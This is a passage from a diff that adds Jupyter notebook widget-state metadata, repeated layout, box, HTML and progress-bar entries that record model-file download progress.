"grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "719559db7a7943fbb823795a1697a10c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "71b5693eda974ad78235b59d848304ab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "71ee3795a28a4776bdb13f68f11ffaaa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_af113f9b9b1749f0a856b3f371f03a2d", + "IPY_MODEL_83cb84140f504cdaa6d5ed308baaa9bf", + "IPY_MODEL_f81e6ba8c0ee4d19afc1691be3650a94" + ], + "layout": "IPY_MODEL_8bc53de7028e4a05bc683a6f47548d62" + } + }, + "7267e3d447ef4dfa97c3fc6a560ea797": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "72d25c37112c403eaf801833a03a47b2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "72fb9eafc22a4533a62e3189f3b65b04": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_febabb96db10490f835e4c5f6512ea61", + "IPY_MODEL_5fc991cde70546d3a665982956cca6b5", + "IPY_MODEL_f5e6af9d73ed4f3d9726bffba48540ee" + ], + "layout": "IPY_MODEL_7027773c6c484afa9ee32448a320f948" + } + }, + "72fc016402374ad996a292470fa75906": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7301b1053b6446da9756caeb59d5be8b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7427e45c55994a6fa304d6d58ffeb1fb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "743a58e2430947808aac30953973ec71": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a56166c024494356bc1b9a9e9a434c86", + "placeholder": "​", + "style": "IPY_MODEL_e404d2f75cdc4a9397c82bca53ca3fad", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "745c74b4ac1942c497d0bee51b2e7b17": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "74702e35e09048eabfb470dc85fb5be4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d6a728463cce43d2a0c8573e5faf2dde", + "placeholder": "​", + "style": "IPY_MODEL_e59d5e76445943c39cdb32721727d3e8", + "value": " 547/547 [00:00<00:00, 7.79kB/s]" + } + }, + "75837fa1f8ed4a7b8734f0c49e3bb6d0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7669fb4960904becb83cbdc4169a121b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7699034aeb584f12864aaa30a7f2e6b5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "77a73421b7ae4bfe9fcb87353a121402": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "77ad5edb54bb4e30bdd82186e80367c8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "783dca59f6a54589b6fb848cb13c5f3f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "78493887a0f5466cbfe8dff7f5fbd801": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "79b1b7bd05714b528d9a617b1c875dfe": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7a47a1e4f4ef448e83659bf90c874eda": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_61e2139115904b94967c220fd214b5df", + "IPY_MODEL_846c2df4629c416baea2612ea2c84a16", + "IPY_MODEL_206b5b9596ff43b68126735ad6b31929" + ], + "layout": "IPY_MODEL_25d01861ca0c45d3a5f57932d9754834" + } + }, + "7aed2e247f5e488991be8b97ab6bae6a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_f8b042b72ea1403284bc45b55cbfcdcf", + "IPY_MODEL_9dcbc2386e3c4d6e820fd6baed91f0df", + "IPY_MODEL_67768915a19a448c94620204f861d005" + ], + "layout": "IPY_MODEL_a218d578aded48ba8acca854622c14a9" + } + }, + "7afd5032c0964fc5823189e2fc8599ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c9311122d93c495faa2a8e0f4b8f7662", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_58657e2570434d73be122eafb42f490a", + "value": 20 + } + }, + "7b0ece2c75614540a942214d1f527f91": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7b9508943bee4f76b996ba561d4bbe9b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7bee130b66754bbc85e8454455ece425": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7c2b45b1cf2a485b93e52b2dee04a278": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7cd3b5a0ce274ae5b5954a3c7d9d3bb4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f357992a28754d7689721ebda28f0b0f", + "placeholder": "​", + "style": "IPY_MODEL_2f8938d9a9254868869767a332bdf84f", + "value": " 20/20 [00:03<00:00, 6.92it/s]" + } + }, + "7d10f1e6258943dd86d9c75aa17553c8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_193fa11998404439b90913f5f5b4619e", + "IPY_MODEL_0383c8a7e3384eec9205dc8f37654ee4", + "IPY_MODEL_4615b3c5ce674070840fbb7bcb54f262" + ], + "layout": "IPY_MODEL_b57f5b94be66435fab8e8aa9b877848c" + } + }, + "7d6d17a2798c41c6b27c25e1057869a3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7d9df7ed952144dfacc3d2908497ce94": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_7010861902ab409e9a4f65efad33683c", + "IPY_MODEL_978ecf658d464bc999bc8a5c540e3ad0", + "IPY_MODEL_198e8a1603fc40218d805d46da1cc603" + ], + "layout": "IPY_MODEL_ee7d2281e6964da8a3e610343a7de76d" + } + }, + "7db99c4ea5e14e9bb5180a5beb4cc142": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7e03365b6d25414eb845c51aa30e3d2c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7e5f077830e94e278b213ee5f11739d9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7efd39ed94f94ecd9292069da0697a5f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7f1b3b31059e4abbbe62bd88da98627d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0ee14dea902c4efe81c616f34dbc7562", + "IPY_MODEL_e43b78d4e4844565ad39e979861285a8", + "IPY_MODEL_9ba3483798e8439aab7d5560c1a5bac1" + ], + "layout": "IPY_MODEL_993b867eff394cfe843eb18ee194b8d6" + } + }, + "7f27d4dadc2a4c4783f35193cf085593": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6d8e99610d624a09a53ef0c77b3f0c25", + "max": 547, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_b9df58ad481f414f8240ce076cf53363", + "value": 547 + } + }, + "7f36f3521fa14a37b0fad0702bf9a4e3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7f49c5a346894250ad0587fa3420635a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c318de49fe3a455992738cf20f7099ad", + "IPY_MODEL_3ff34cbabc564abebd12a9e5e19786b0", + "IPY_MODEL_611bde262a924746a253ab5481b9b212" + ], + "layout": "IPY_MODEL_3ae595d0044944ea959d949d8c68d509" + } + }, + "810aba56f12342fcbcb7344d08235ec8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": 